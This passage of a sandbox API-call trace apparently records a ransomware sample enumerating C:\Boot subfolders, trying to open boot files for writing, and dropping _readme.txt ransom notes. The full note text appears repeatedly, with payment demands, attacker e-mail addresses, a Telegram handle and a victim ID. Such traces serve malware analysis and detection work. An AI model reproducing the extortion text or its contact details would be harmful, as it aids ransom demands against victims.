us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.042] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.043] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.043] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.043] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.043] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0267.043] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0267.043] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.043] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.043] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.043] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.045] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.047] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0267.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.047] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.048] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.048] PathFindFileNameW (pszPath="") returned="" [0267.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.048] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.048] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.048] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.048] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.048] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0267.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.049] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0267.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.049] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.049] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.049] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.049] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.049] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.050] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.050] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0267.050] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.050] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.050] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.050] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.050] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.050] HeapFree (in: 